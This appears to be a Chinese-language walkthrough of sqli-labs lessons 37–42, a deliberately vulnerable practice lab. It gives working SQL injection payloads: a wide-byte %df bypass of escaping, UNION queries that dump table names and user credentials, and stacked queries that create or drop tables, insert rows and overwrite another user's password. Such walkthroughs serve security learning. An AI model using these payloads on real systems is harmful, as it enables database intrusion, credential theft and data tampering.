Lesson-37 (POST型 mysql_real_escape_string 函数 \x00 \n \r \ ’ " 和 \x1a)
同34关 burp抓包改 直接输入会又被url编码一遍
POST /sqli-labs-master/sqli-labs-master/Less-37/ HTTP/1.1
Host: 192.168.114.200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Origin: http://192.168.114.200
Connection: close
Referer: http://192.168.114.200/sqli-labs-master/sqli-labs-master/Less-37/
Cookie: JSESSIONID=FACCB1A4309C93CA00DF90FA4CC1216B; PHPSESSID=jg38g26n67p8gea32btn32lpd4
Upgrade-Insecure-Requests: 1
uname=admin%df' or 1=1#&passwd=admin&submit=Submit
判断是否存在注入
admin%df' or 1=1#
database
-1%df%27 union select 1,database()#
table
-1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
column
-1%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#
data
-1%df%27 union select group_concat(username),group_concat(password) from security.users#
Lesson-38 (GET型 堆叠注入)
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
echo $sql,"<br>";
/* execute multi query */
if (mysqli_multi_query($con1, $sql)){
//
}
所谓的堆叠注入就是多语句一起执行 这个利用条件是后端语句允许多语句查询
mysqli_multi_query($con1, $sql)
payload如下
?id=1';insert into users(id,username,password) values ('38','Lesson38','Stacked Query')--+
判断列数
?id=1 order by 4%23
database
?id=-1' union select 1,2,database()%23
tables
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
column
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273%23
data
?id=-1' union select 1,group_concat(username),group_concat(password) from security.users%23
Lesson-39 Stacked Query (GET型 堆叠注入 数字型)
?id=1;create table gh0st like users;
?id=1;drop table gh0st;
Lesson-40 Stacked Query String type Blind (GET型 堆叠注入 字符型(‘id’) 无报错)
?id=1');create table Gh0st01 like users;%23
?id=1');drop table Gh0st01 ;%23
Lesson-41 Stacked Query Intiger type blind (GET型 堆叠注入 数字型id 无报错)
?id=1;create table Gh0st02 like users;
?id=1;drop table Gh0st02;
Lesson-42 POST-Error based-String -Stacked (POST型 字符型’id’ 堆叠注入 有报错)
这关不让我们注册账户了 也不让我们忘记密码了
直接看源码 看到登录的时候对用户名做了过滤 那么只能对密码注入了
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
payload如下 burp抓包修改
login_user=admin&login_password=admin';insert into users(id,username,password) values ('test42','LessonTest42','Stacked Query')#&mysubmit=Login
login_user=admin&login_password=-2' union select 1,group_concat(username),3 from security.users#&mysubmit=Login
你也可以用以下列语句来修改别人的 密码
黑盒会非常麻烦 但是有源码的话 嘿嘿嘿嘿 有手就行
堆叠注入的前提 对方后端程序使用了多语句执行
login_user=admin&login_password=admin';update users set username='Dumb',password='hacker' where username='Dumb'#&mysubmit=Login